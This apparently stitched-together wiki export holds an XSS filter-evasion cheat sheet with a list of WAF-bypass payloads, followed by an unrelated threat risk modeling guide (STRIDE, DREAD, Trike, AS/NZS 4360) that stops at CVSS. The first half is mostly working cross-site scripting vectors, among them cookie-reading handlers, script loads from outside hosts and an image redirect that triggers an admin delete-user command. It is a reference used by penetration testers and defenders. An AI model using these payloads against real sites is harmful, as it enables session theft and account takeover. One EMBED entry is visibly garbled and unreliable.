<nowiki><META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K"></nowiki>

=== META with additional URL parameter ===
If the target website attempts to see if the URL contains "http://" at the beginning you can evade it with the following technique (Submitted by Moritz Naumann):

<nowiki><META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');"></nowiki>

== IFRAME ==
If iframes are allowed there are a lot of other XSS problems as well:
<nowiki><IFRAME SRC="javascript:alert('XSS');"></IFRAME></nowiki>

== IFRAME Event based ==
IFrames and most other elements can use event based mayhem like the following...
(Submitted by: David Cross)
<nowiki><IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME></nowiki>

== FRAME ==
Frames have the same sorts of XSS problems as iframes
<nowiki><FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET></nowiki>

== TABLE ==
<nowiki><TABLE BACKGROUND="javascript:alert('XSS')"></nowiki>

=== TD ===
Just like above, TD's are vulnerable to BACKGROUNDs containing JavaScript XSS vectors:
<nowiki><TABLE><TD BACKGROUND="javascript:alert('XSS')"></nowiki>

== DIV ==

=== DIV background-image===
<nowiki><DIV STYLE="background-image: url(javascript:alert('XSS'))"></nowiki>

=== DIV background-image with unicoded XSS exploit ===
This has been modified slightly to obfuscate the url parameter. The original vulnerability was found by Renaud Lifchitz as a vulnerability in Hotmail:

<DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029">

=== DIV background-image plus extra characters ===
Rnaske built a quick XSS fuzzer to detect any erroneous characters that are allowed after the open parenthesis but before the JavaScript directive in IE and Netscape 8.1 in secure site mode. These are in decimal but you can include hex and add padding of course. (Any of the following chars can be used: 1-32, 34, 39, 160, 8192-8.13, 12288, 65279):

<nowiki><DIV STYLE="background-image: url(javascript:alert('XSS'))"></nowiki>

=== DIV expression ===
A variant of this was effective against a real world cross site scripting filter using a newline between the colon and "expression":
<nowiki><DIV STYLE="width: expression(alert('XSS'));"></nowiki>

== Downlevel-Hidden block ==
Only works in IE5.0 and later and Netscape 8.1 in IE rendering engine mode). Some websites consider anything inside a comment block to be safe and therefore does not need to be removed, which allows our Cross Site Scripting vector. Or the system could add comment tags around something to attempt to render it harmless. As we can see, that probably wouldn't do the job:

<nowiki></nowiki>

== BASE tag ==
Works in IE and Netscape 8.1 in safe mode. You need the // to comment out the next characters so you won't get a JavaScript error and your XSS tag will render. Also, this relies on the fact that the website uses dynamically placed images like "images/image.jpg" rather than full paths. If the path includes a leading forward slash like "/images/image.jpg" you can remove one slash from this vector (as long as there are two to begin the comment this will work):
<nowiki><BASE HREF="javascript:alert('XSS');//"></nowiki>

== OBJECT tag ==
If they allow objects, you can also inject virus payloads to infect the users, etc. and same with the APPLET tag). The linked file is actually an HTML file that can contain your XSS:

<nowiki><OBJECT TYPE="text/x-scriptlet" DATA="http://xss.rocks/scriptlet.html"></OBJECT></nowiki>

== Using an EMBED tag you can embed a Flash movie that contains XSS ==
Click here for a demo. If you add the attributes allowScriptAccess="never" and allownetworking="internal" it can mitigate this risk (thank you to Jonathan Vanasco for the info).:
<nowiki>EMBED SRC="http://ha.ckers.Using an EMBED tag you can embed a Flash movie that contains XSS. Click here for a demo. If you add the attributes allowScriptAccess="never" and allownetworking="internal" it can mitigate this risk (thank you to Jonathan Vanasco for the info).:
org/xss.swf" AllowScriptAccess="always"></EMBED></nowiki>

== You can EMBED SVG which can contain your XSS vector ==
This example only works in Firefox, but it's better than the above vector in Firefox because it does not require the user to have Flash turned on or installed. Thanks to nEUrOO for this one.
<nowiki><EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED></nowiki>

== Using ActionScript inside flash can obfuscate your XSS vector ==

<nowiki>a="get";
b="URL(\"";
c="javascript:";
d="alert('XSS');\")";
eval(a+b+c+d);</nowiki>

== XML data island with CDATA obfuscation ==
This XSS attack works only in IE and Netscape 8.1 in IE rendering engine mode) - vector found by Sec Consult while auditing Yahoo:

<nowiki><XML ID="xss"><I><B><IMG SRC="javascript:alert('XSS')"></B></I></XML>
<SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN></nowiki>

== Locally hosted XML with embedded JavaScript that is generated using an XML data island ==
This is the same as above but instead referrs to a locally hosted (must be on the same server) XML file that contains your cross site scripting vector. You can see the result here:

<nowiki><XML SRC="xsstest.xml" ID=I></XML>
<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN></nowiki>

== HTML+TIME in XML ==
This is how Grey Magic hacked Hotmail and Yahoo!. This only works in Internet Explorer and Netscape 8.1 in IE rendering engine mode and remember that you need to be between HTML and BODY tags for this to work:
<nowiki><HTML><BODY>
<?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">
<?import namespace="t" implementation="#default#time2">
<t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>alert("XSS")</SCRIPT>">
</BODY></HTML></nowiki>

== Assuming you can only fit in a few characters and it filters against ".js" ==
you can rename your JavaScript file to an image as an XSS vector:
<nowiki><SCRIPT SRC="http://xss.rocks/xss.jpg"></SCRIPT></nowiki>

== SSI (Server Side Includes)==
This requires SSI to be installed on the server to use this XSS vector. I probably don't need to mention this, but if you can run commands on the server there are no doubt much more serious issues:
<nowiki></nowiki>

== PHP ==
Requires PHP to be installed on the server to use this XSS vector. Again, if you can run any scripts remotely like this, there are probably much more dire issues:

<nowiki><? echo('<SCR)';
echo('IPT>alert("XSS")</SCRIPT>'); ?></nowiki>

== IMG Embedded commands ==
This works when the webpage where this is injected (like a web-board) is behind password protection and that password protection works with other commands on the same domain. This can be used to delete users, add users (if the user who visits the page is an administrator), send credentials elsewhere, etc.... This is one of the lesser used but more useful XSS vectors:
<nowiki><IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode"></nowiki>

=== IMG Embedded commands part II ===
This is more scary because there are absolutely no identifiers that make it look suspicious other than it is not hosted on your own domain. The vector uses a 302 or 304 (others work too) to redirect the image back to a command. So a normal <IMG SRC="httx://badguy.com/a.jpg"> could actually be an attack vector to run commands as the user who views the image link. Here is the .htaccess (under Apache) line to accomplish the vector (thanks to Timo for part of this):

<nowiki>Redirect 302 /a.jpg http://victimsite.com/admin.asp&deleteuser</nowiki>

== Cookie manipulation ==
Admittedly this is pretty obscure but I have seen a few examples where <META is allowed and you can use it to overwrite cookies. There are other examples of sites where instead of fetching the username from a database it is stored inside of a cookie to be displayed only to the user who visits the page. With these two scenarios combined you can modify the victim's cookie which will be displayed back to them as JavaScript (you can also use this to log people out or change their user states, get them to log in as you, etc...):

<nowiki><META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>"></nowiki>

== UTF-7 encoding ==
If the page that the XSS resides on doesn't provide a page charset header, or any browser that is set to UTF-7 encoding can be exploited with the following (Thanks to Roman Ivanov for this one). Click here for an example (you don't need the charset statement if the user's browser is set to auto-detect and there is no overriding content-types on the page in Internet Explorer and Netscape 8.1 in IE rendering engine mode). This does not work in any modern browser without changing the encoding type which is why it is marked as completely unsupported. Watchfire found this hole in Google's custom 404 script.:
<nowiki><HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-</nowiki>

== XSS using HTML quote encapsulation ==
This was tested in IE, your mileage may vary. For performing XSS on sites that allow "<SCRIPT>" but don't allow "<SCRIPT SRC..." by way of a regex filter "/<script[^>]+src/i":
<nowiki><SCRIPT a=">" SRC="httx://xss.rocks/xss.js"></SCRIPT></nowiki>

For performing XSS on sites that allow "<SCRIPT>" but don't allow "<script src..." by way of a regex filter "/<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i" (this is an important one, because I've seen this regex in the wild):
<nowiki><SCRIPT =">" SRC="httx://xss.rocks/xss.js"></SCRIPT></nowiki>

Another XSS to evade the same filter, "/<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i":

<nowiki><SCRIPT a=">" '' SRC="httx://xss.rocks/xss.js"></SCRIPT></nowiki>

Yet another XSS to evade the same filter, "/<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i". I know I said I wasn't goint to discuss mitigation techniques but the only thing I've seen work for this XSS example if you still want to allow <SCRIPT> tags but not remote script is a state machine (and of course there are other ways to get around this if they allow <SCRIPT> tags):
<nowiki><SCRIPT "a='>'" SRC="httx://xss.rocks/xss.js"></SCRIPT></nowiki>

And one last XSS attack to evade, "/<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i" using grave accents (again, doesn't work in Firefox):
<nowiki><SCRIPT a=`>` SRC="httx://xss.rocks/xss.js"></SCRIPT></nowiki>

Here's an XSS example that bets on the fact that the regex won't catch a matching pair of quotes but will rather find any quotes to terminate a parameter string improperly:
<nowiki><SCRIPT a=">'>" SRC="httx://xss.rocks/xss.js"></SCRIPT></nowiki>

This XSS still worries me, as it would be nearly impossible to stop this without blocking all active content:

<nowiki><SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="httx://xss.rocks/xss.js"></SCRIPT></nowiki>

== URL string evasion ==
Assuming "http://www.google.com/" is pro grammatically disallowed:

=== IP versus hostname ===
<nowiki><A HREF="http://66.102.7.147/">XSS</A></nowiki>

=== URL encoding ===
<nowiki><A HREF="http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D">XSS</A></nowiki>

=== Dword encoding ===
(Note: there are other of variations of Dword encoding - see the IP Obfuscation calculator below for more details):
<nowiki><A HREF="http://1113982867/">XSS</A></nowiki>

=== Hex encoding ===
The total size of each number allowed is somewhere in the neighborhood of 240 total characters as you can see on the second digit, and since the hex number is between 0 and F the leading zero on the third hex quotet is not required):
<nowiki><A HREF="http://0x42.0x0000066.0x7.0x93/">XSS</A></nowiki>

=== Octal encoding ===
Again padding is allowed, although you must keep it above 4 total characters per class - as in class A, class B, etc...:
<nowiki><A HREF="http://0102.0146.0007.00000223/">XSS</A></nowiki>

=== Mixed encoding ===
Let's mix and match base encoding and throw in some tabs and newlines - why browsers allow this, I'll never know). The tabs and newlines only work if this is encapsulated with quotes:

<nowiki><A HREF="h
tt p://6	6.000146.0x7.147/">XSS</A></nowiki>

=== Protocol resolution bypass ===
(// translates to http:// which saves a few more bytes). This is really handy when space is an issue too (two less characters can go a long way) and can easily bypass regex like "(ht|f)tp(s)?://" (thanks to Ozh for part of this one). You can also change the "//" to "\\". You do need to keep the slashes in place, however, otherwise this will be interpreted as a relative path URL.
<nowiki><A HREF="//www.google.com/">XSS</A></nowiki>

=== Google "feeling lucky" part 1. ===
Firefox uses Google's "feeling lucky" function to redirect the user to any keywords you type in. So if your exploitable page is the top for some random keyword (as you see here) you can use that feature against any Firefox user. This uses Firefox's "keyword:" protocol. You can concatenate several keywords by using something like the following "keyword:XSS+RSnake" for instance. This no longer works within Firefox as of 2.0.

<nowiki><A HREF="//google">XSS</A></nowiki>

=== Google "feeling lucky" part 2.===
This uses a very tiny trick that appears to work Firefox only, because if it's implementation of the "feeling lucky" function. Unlike the next one this does not work in Opera because Opera believes that this is the old HTTP Basic Auth phishing attack, which it is not. It's simply a malformed URL. If you click okay on the dialogue it will work, but as a result of the erroneous dialogue box I am saying that this is not supported in Opera, and it is no longer supported in Firefox as of 2.0:
<nowiki><A HREF="http://ha.ckers.org@google">XSS</A></nowiki>

=== Google "feeling lucky" part 3. ===
This uses a malformed URL that appears to work in Firefox and Opera only, because if their implementation of the "feeling lucky" function. Like all of the above it requires that you are #1 in Google for the keyword in question (in this case "google"):
<nowiki><A HREF="http://google:ha.ckers.org">XSS</A></nowiki>

=== Removing cnames ===
When combined with the above URL, removing "www." will save an additional 4 bytes for a total byte savings of 9 for servers that have this set up properly):
<nowiki><A HREF="http://google.com/">XSS</A></nowiki>

=== Extra dot for absolute DNS:===
<nowiki><A HREF="http://www.google.com./">XSS</A></nowiki>

=== JavaScript link location: ===
<nowiki><A HREF="javascript:document.location='http://www.google.com/'">XSS</A></nowiki>

=== Content replace as attack vector ===
Assuming "http://www.google.com/" is programmatically replaced with nothing). I actually used a similar attack vector against a several separate real world XSS filters by using the conversion filter itself (here is an example) to help create the attack vector (IE: "java&#x09;script:" was converted into "java	script:", which renders in IE, Netscape 8.1+ in secure site mode and Opera):
<nowiki><A HREF="http://www.google.com/ogle.com/">XSS</A></nowiki>

== Character escape sequences ==
All the possible combinations of the character "<" in HTML and JavaScript. Most of these won't render out of the box, but many of them can get rendered in certain circumstances as seen above.

<
%3C
&lt
&lt;
&LT
&LT;
&#60
&#060
&#0060
&#00060
&#000060
&#0000060
&#60;
&#060;
&#0060;
&#00060;
&#000060;
&#0000060;
&#x3c
&#x03c
&#x003c
&#x0003c
&#x00003c
&#x000003c
&#x3c;
&#x03c;
&#x003c;
&#x0003c;
&#x00003c;
&#x000003c;
&#X3c
&#X03c
&#X003c
&#X0003c
&#X00003c
&#X000003c
&#X3c;
&#X03c;
&#X003c;
&#X0003c;
&#X00003c;
&#X000003c;
&#x3C
&#x03C
&#x003C
&#x0003C
&#x00003C
&#x000003C
&#x3C;
&#x03C;
&#x003C;
&#x0003C;
&#x00003C;
&#x000003C;
&#X3C
&#X03C
&#X003C
&#X0003C
&#X00003C
&#X000003C
&#X3C;
&#X03C;
&#X003C;
&#X0003C;
&#X00003C;
&#X000003C;
\x3c
\x3C
\u003c
\u003C
<br>
= Methods to Bypass WAF – Cross-Site Scripting =

General issues<br>
• Stored XSS

If an attacker managed to push XSS through the filter, WAF wouldn’t be able to prevent the attack conduction.<br>
• Reflected XSS in Javascript
Example: <script> ... setTimeout(\"writetitle()\",$_GET[xss]) ... </script>
Exploitation: /?xss=500); alert(document.cookie);//
• DOM-based XSS
Example: <script> ... eval($_GET[xss]); ... </script>
Exploitation: /?xss=document.cookie
<b>XSS via request Redirection.</b><br>
• Vulnerable code:
...
header('Location: '.$_GET['param']);
...
As well as:
...
header('Refresh: 0; URL='.$_GET['param']);
...
• This request will not pass through the WAF:
/?param=javascript:alert(document.cookie)
• This request will pass through the WAF and an XSS attack will be conducted in certain browsers.
/?param=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4=<br>
<b>WAF ByPass Strings for XSS.</b>
<Img src = x onerror = "javascript: window.onerror = alert; throw XSS">
<Video> <source onerror = "javascript: alert (XSS)">
<Input value = "XSS" type = text>
<applet code="javascript:confirm(document.cookie);">
<isindex x="javascript:" onmouseover="alert(XSS)">
"></SCRIPT>”>’><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
"><img src="x:x" onerror="alert(XSS)">
"><iframe src="javascript:alert(XSS)">
<object data="javascript:alert(XSS)">
<isindex type=image src=1 onerror=alert(XSS)>
<img src=x:alert(alt) onerror=eval(src) alt=0>
<img src="x:gif" onerror="window['al\u0065rt'](0)"></img>
<iframe/src="data:text/html,<svg onload=alert(1)>">
<meta content="&NewLine; 1 &NewLine;; JAVASCRIPT&colon; alert(1)" http-equiv="refresh"/>
<svg><script xlink:href=data&colon;,window.open('https://www.google.com/')></script
<meta http-equiv="refresh" content="0;url=javascript:confirm(1)">
<iframe src=javascript&colon;alert(document&period;location)>
<form><a href="javascript:\u0061lert(1)">X
</script><img/*%00/src="worksinchrome&colon;prompt(1)"/%00*/onerror='eval(src)'>
<style>//*{x:expression(alert(/xss/))}//<style></style>
<var onmouseover="prompt(1)">On Mouse Over</var>
<img src="/" =_=" title="onerror='prompt(1)'">
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa aaaaaaaaaa href=j&#97v&#97script:&#97lert(1)>ClickMe
<script x> alert(1) </script 1=2
<form><button formaction=javascript&colon;alert(1)>CLICKME
<input/onmouseover="javaSCRIPT&colon;confirm(1)"
<iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>
==Filter Bypass Alert Obfuscation==
(alert)(1)
a=alert,a(1)
[1].find(alert)
top[“al”+”ert”](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
top[‘al\145rt’](1)
top[‘al\x65rt’](1)
top[8680439..toString(30)](1)

= Authors and Primary Editors =

Robert "RSnake" Hansen

= Contributors =

Adam Lange<br/>
Mishra Dhiraj

= Other Cheatsheets =

{{Cheatsheet_Navigation_Body}}
[[Category:Cheatsheets]]
[[Category:Popular]]
[[Category:OWASP_Breakers]]
{{TOC hidden}}

XSS (Cross Site Scripting) Prevention Cheat Sheet

2017-10-15T03:22:54Z

Peter Mosmans: Grammar correction

Threat Risk Modeling

2017-07-13T10:20:05Z

Peter Mosmans: Remove comment, update standards example

__TOC__

When you start a web application design, it is essential to apply threat modeling; otherwise you will squander resources, time, and money on useless controls that fail to focus on the real threats. There are multiple approaches to threat modeling, as listed below:

<li> Software centric threat modeling
<li> Security centric threat modeling
<li> Asset or risk centric threat modeling.

Below represents a mixture of Threat Modeling tools and industry references.

The method used to assess risk is not nearly as important as actually performing a structured threat risk modeling. Microsoft notes that the single most important factor in their security improvement program was the corporate adoption of threat risk modeling.

One of many considerations is Microsoft’s threat modeling process. It is simple to adopt by designers, developers, code reviewers, and the quality assurance team.

The following sections provide some overview information (or see Section 6.9, Further Reading, for additional resources).

== Threat Risk Modeling ==
Threat risk modeling is an essential process for secure web application development. It allows organizations to determine the correct controls and to produce effective countermeasures within budget. For example, there is little point in spending $100,000 for fraud control for a system that has negligible fraud risk.

== Performing threat risk modeling using the Microsoft Threat Modeling Process ==

The threat risk modeling process has five steps, enumerated below and shown graphically in Figure 1. They are:
# Identify Security Objectives
# Survey the Application
# Decompose it
# Identify Threats
# Identify Vulnerabilities

[[Image:Threat_Model_Flow.gif|Figure 1: Threat Model Flow]]

Let’s consider the steps in more detail.

=== Identify Security Objectives ===
The business (or project management) leadership, in concert with the software development and quality assurance teams, all need to understand the security objectives. To facilitate this, start by breaking down the application’s security objectives into the following categories:

* '''Identity:''' Does the application protect user identity from abuse? Are there adequate controls in place to ensure evidence of identity (as required for many banking applications?)
* '''Financial:''' Assess the level of risk the organization is prepared to absorb in remediation, as a potential financial loss. For example, forum software may have a lower estimated financial risk than an Internet banking application.
* '''Reputation:''' Quantify or estimate of the loss of reputation derived from the application being misused or successfully attacked.
* '''Privacy and Regulatory:''' To what extent will the application have to protect user data? Forum software by its nature is public, but a tax preparation application is subject to tax regulations and privacy legislation requirements in most countries.
* '''Availability Guarantees:''' Is the application required to be available per a '''''Service Level Agreement (SLA)''''' or similar guarantee? Is it a nationally protected infrastructure? To what level will the application have to be available? High availability techniques are significantly more expensive, so applying the correct controls up front will save a great deal of time, resources, and money.

This is by no means an exhaustive list, but it gives an idea of some of the business risk decisions leading into selecting and building security controls.

Other sources of risk guidance come from:
* Laws (such as privacy or finance laws)
* Regulations (such as banking or e-commerce regulations)
* Standards (such as ISO/IEC 27001)
* Legal Agreements (such as payment card industry standards or merchant agreements)
* Corporate Information Security Policy

=== Application Overview ===
Once the security objectives have been defined, analyze the application design to identify the '''''components''''', '''''data flows''''', and '''''trust boundaries'''''.

Do this by surveying the application’s architecture and design documentation. In particular, look for UML component diagrams. Such high level component diagrams are generally sufficient to understand how and why data flows to various places. For example, data movement across a trust boundary (such as from the Internet to the web tier, or from the business logic to the database server), needs to be carefully analyzed, whereas data that flows within the same trust level does not need as much scrutiny.

=== Decompose Application ===
Once the application architecture is understood then decompose it further, to identify the features and modules with a security impact that need to be evaluated. For example, when investigating the authentication module, it is necessary to understand how data enters the module, how the module validates and processes the data, where the data flows, how the data is stored, and what fundamental decisions and assumptions are made by the module.

=== Identify Threats ===
It is impossible to write down unknown threats, but it is likewise unlikely that new malware will be created to exploit new vulnerabilities within custom systems. Therefore, concentrate on known risks, which can be easily demonstrated using tools or techniques from Bugtraq.

Microsoft suggests two different approaches for writing up threats. One is a threat graph, as shown in Figure 2, and the other is a structured list. <br>
[[Category:FIXME|Change 3rd orange box in graphic to "Authorization MAY fail"]]

[[Image:Threat_Graph.gif|Figure 2: Threat Graph]]

Typically, a threat graph imparts more information quickly but it takes longer to construct, while a structured list is easier to create but it will take longer for the threat impacts to become obvious.

# Attacker may be able to read other user’s messages
# User may not have logged off on a shared PC
# Data validation may allow SQL injection
# Implement data validation
# Authorization may fail, allowing unauthorized access
# Implement authorization checks
# Browser cache may contain contents of message
# Implement anti-caching directive in HTTP headers
# If eavesdropping risk is high, use SSL

Note that it takes a motivated attacker to exploit a threat; they generally want something from your application or to obviate controls. To understand the relevant threats, use the following categories to understand who might attack the application:

* '''Accidental Discovery:''' An ordinary user stumbles across a functional mistake in your application, just using a web browser, and gains access to privileged information or functionality.
* '''Automated Malware:''' Programs or scripts, which are searching for known vulnerabilities, and then report them back to a central collection site.
* '''The Curious Attacker:''' a security researcher or ordinary user, who notices something wrong with the application, and decides to pursue further.
* '''Script Kiddies:''' Common renegades, seeking to compromise or deface applications for collateral gain, notoriety, or a political agenda, perhaps using the attack categories described in the ''OWASP Web Application Penetration Checklist.''
* '''The Motivated Attacker:''' Potentially, a disgruntled staff member with inside knowledge or a paid professional attacker.
* '''Organized Crime:''' Criminals seeking high stake payouts, such as cracking e-commerce or corporate banking applications, for financial gain.

It is vital to understand the level of attacker you are defending against. For example, a motivated attacker, who understands your internal processes is often more dangerous than script kiddies.

=== STRIDE ===
STRIDE is a classification scheme for characterizing known threats according to the kinds of exploit that are used (or motivation of the attacker). The STRIDE acronym is formed from the first letter of each of the following categories.

'''''Spoofing Identity'''''
“Identity spoofing” is a key risk for applications that have many users but provide a single execution context at the application and database level. In particular, users should not be able to become any other user or assume the attributes of another user.

'''''Tampering with Data'''''
Users can potentially change data delivered to them, return it, and thereby potentially manipulate client-side validation, GET and POST results, cookies, HTTP headers, and so forth. The application should not send data to the user, such as interest rates or periods, which are obtainable only from within the application itself. The application should also carefully check data received from the user and validate that it is sane and applicable before storing or using it.

'''''Repudiation'''''
Users may dispute transactions if there is insufficient auditing or recordkeeping of their activity. For example, if a user says, “But I didn’t transfer any money to this external account!”, and you cannot track his/her activities through the application, then it is extremely likely that the transaction will have to be written off as a loss.

Therefore, consider if the application requires non-repudiation controls, such as web access logs, audit trails at each tier, or the same user context from top to bottom. Preferably, the application should run with the user’s privileges, not more, but this may not be possible with many off-the-shelf application frameworks.

'''''Information Disclosure'''''
Users are rightfully wary of submitting private details to a system. If it is possible for an attacker to publicly reveal user data at large, whether anonymously or as an authorized user, there will be an immediate loss of confidence and a substantial period of reputation loss. Therefore, applications must include strong controls to prevent user ID tampering and abuse, particularly if they use a single context to run the entire application.

Also, consider if the user’s web browser may leak information. Some web browsers may ignore the no caching directives in HTTP headers or handle them incorrectly. In a corresponding fashion, every secure application has a responsibility to minimize the amount of information stored by the web browser, just in case it leaks or leaves information behind, which can be used by an attacker to learn details about the application, the user, or to potentially become that user.

Finally, in implementing persistent values, keep in mind that the use of hidden fields is insecure by nature. Such storage should not be relied on to secure sensitive information or to provide adequate personal privacy safeguards.

'''''Denial of Service'''''
Application designers should be aware that their applications may be subject to a denial of service attack. Therefore, the use of expensive resources such as large files, complex calculations, heavy-duty searches, or long queries should be reserved for authenticated and authorized users, and not available to anonymous users.

For applications that do not have this luxury, every facet of the application should be engineered to perform as little work as possible, to use fast and few database queries, to avoid exposing large files or unique links per user, in order to prevent simple denial of service attacks.

'''''Elevation of Privilege'''''
If an application provides distinct user and administrative roles, then it is vital to ensure that the user cannot elevate his/her role to a higher privilege one. In particular, simply not displaying privileged role links is insufficient. Instead, all actions should be gated through an authorization matrix, to ensure that only the permitted roles can access privileged functionality.

=== DREAD ===
DREAD is a classification scheme for quantifying, comparing and prioritizing the amount of risk presented by each evaluated threat. The DREAD acronym is formed from the first letter of each category below.

DREAD modeling influences the thinking behind setting the risk rating, and is also used directly to sort the risks. The DREAD algorithm, shown below, is used to compute a risk value, which is an average of all five categories.

'''Risk_DREAD''' = (<u>D</u>AMAGE + <u>R</u>EPRODUCIBILITY + <u>E</u>XPLOITABILITY + <u>A</u>FFECTED USERS + <u>D</u>ISCOVERABILITY) / 5

The calculation always produces a number between 0 and 10; the higher the number, the more serious the risk.

Here are some examples of how to quantify the DREAD categories.

'''''Damage Potential'''''
* If a threat exploit occurs, how much damage will be caused?
**0 = Nothing
**5 = Individual user data is compromised or affected.
**10 = Complete system or data destruction

'''''Reproducibility'''''
* How easy is it to reproduce the threat exploit?
**0 = Very hard or impossible, even for administrators of the application.
**5 = One or two steps required, may need to be an authorized user.
**10 = Just a web browser and the address bar is sufficient, without authentication.

'''''Exploitability'''''
* What is needed to exploit this threat?
**0 = Advanced programming and networking knowledge, with custom or advanced attack tools.
**5 = Malware exists on the Internet, or an exploit is easily performed, using available attack tools.
**10 = Just a web browser

'''''Affected Users'''''
* How many users will be affected?
**0 = None
**5 = Some users, but not all
**10 = All users

'''''Discoverability'''''
* How easy is it to discover this threat?
**0 = Very hard to impossible; requires source code or administrative access.
**5 = Can figure it out by guessing or by monitoring network traces.
**9 = Details of faults like this are already in the public domain and can be easily discovered using a search engine.
**10 = The information is visible in the web browser address bar or in a form.

'''Note:''' When performing a security review of an existing application, “Discoverability” will often be set to 10 by convention, as it is assumed the threat issues will be discovered.

'''Note:''' Using DREAD can be difficult at first. It may be helpful to think of Damage Potential and Affected Users in terms of Impact, while thinking of Reproducibility, Exploitability, and Discoverability in terms of Probability. Using the Impact vs Probability approach (which follows best practices such as defined in NIST-800-30), I would alter the formula to make the Impact score equal to the Probability score. Otherwise the probability scores have more weight in the total.

== Alternative Threat Modeling Systems ==
OWASP recognizes that the adoption of the Microsoft modeling process may not fit all organizations. If STRIDE and DREAD are unacceptable for some reason, we recommend that your organization “dry run” the other threat risk models discussed against an existing application or design. This will allow you to determine which approach works best for you, and to adopt the most appropriate threat modeling tools for your organization.

'''In summary, performing threat modeling provides a far greater return than most any other control in this Guide. Therefore, make threat risk modeling an early priority in your application design process.'''

=== Trike ===
Trike is a threat modeling framework with similarities to the Microsoft threat modeling processes. However, Trike differs because it uses a risk based approach with distinct implementation, threat, and risk models, instead of using the STRIDE/DREAD aggregated threat model (attacks, threats, and weaknesses).
From the Trike paper, Trike’s goals are:
* With assistance from the system stakeholders, to ensure that the risk this system entails to each asset is acceptable to all stakeholders.
* Be able to tell whether we have done this.
* Communicate what we’ve done and its effects to the stakeholders.
* Empower stakeholders to understand and reduce the risks to them and other stakeholders implied by their actions within their domains.

For more information on Trike, please see Section 6.9, reference 8.

=== AS/NZS 4360:2004 Risk Management ===
The Australian/New Zealand Standard AS/NZS 4360, first issued in 1999, and revised in 2004, is the world’s first formal standard for documenting and managing risk and is still one of the few formal standards for managing it.
The standard’s approach is simple (it’s only 28 pages long), flexible, and iterative. Furthermore, it does not lock organizations into a particular risk management methodology, provided the methodology fulfils the AS/NZS 4360 five steps. It also provides several sets of risk tables as examples, and allows organizations to freely develop and adopt their own.

'''The five steps of the AS/NZS 4360 process are:'''
* '''Establish Context:''' Establish the risk domain, i.e., which assets/systems are important?
* '''Identify the Risks:''' Within the risk domain, what specific risks are apparent?
* '''Analyze the Risks:''' Look at the risks and determine if there are any supporting controls in place.
* '''Evaluate the Risks:''' Determine the residual risk.
* '''Treat the Risks:''' Describe the method to treat the risks so that risks selected by the business will be mitigated.
AS/NZS 4360 assumes that risk will be managed by an '''''operational risk group''''', and that the organization has adequate skills and risk management resources in house to identify, analyze, and treat the risks.

'''The advantages of AS/NZS 4360:'''
* AS/NZS 4360 works well as a risk management methodology for organizations requiring Sarbanes-Oxley compliance.
* AS/NZS 4360 works well for organizations that prefer to manage risks in a traditional way, such as just using likelihood and consequence to determine an overall risk.
* AS/NZS 4360 is familiar to most risk managers worldwide, and your organization may already have implemented an AS/NZS 4360 compatible approach.
* You are an Australian organization, and may be required to use it if you are audited on a regular basis, or to justify why you aren’t using it. Luckily, the STRIDE/DREAD model discussed earlier is AS/NZS 4360 compatible.

'''The limitations of AS/NZS 4360:'''
* The AS/NZS 4360 approach works best for business or systemic risks than for technical risks.
* AS/NZS 4360 does not define the methodology to perform a structured threat risk modeling exercise.
* As AS/NZS 4360 is a generic framework for managing risk, it does not provide any structured method to enumerate web application security risks.
Although AS/NZS 4360 may be used to rank risks for security reviews, the lack of structured methods of enumerating threats for web applications makes it less desirable than other methodologies described earlier.

=== CVSS ===
The US Department of Homeland Security (DHS) established the NIAC Vulnerability Disclosure Working Group, which incorporates input from Cisco Systems, Symantec, ISS, Qualys, Microsoft, CERT/CC, and eBay. One of the group’s outputs is the '''''Common Vulnerability Scoring System (CVSS).'''''

'''The advantages of CVSS:'''
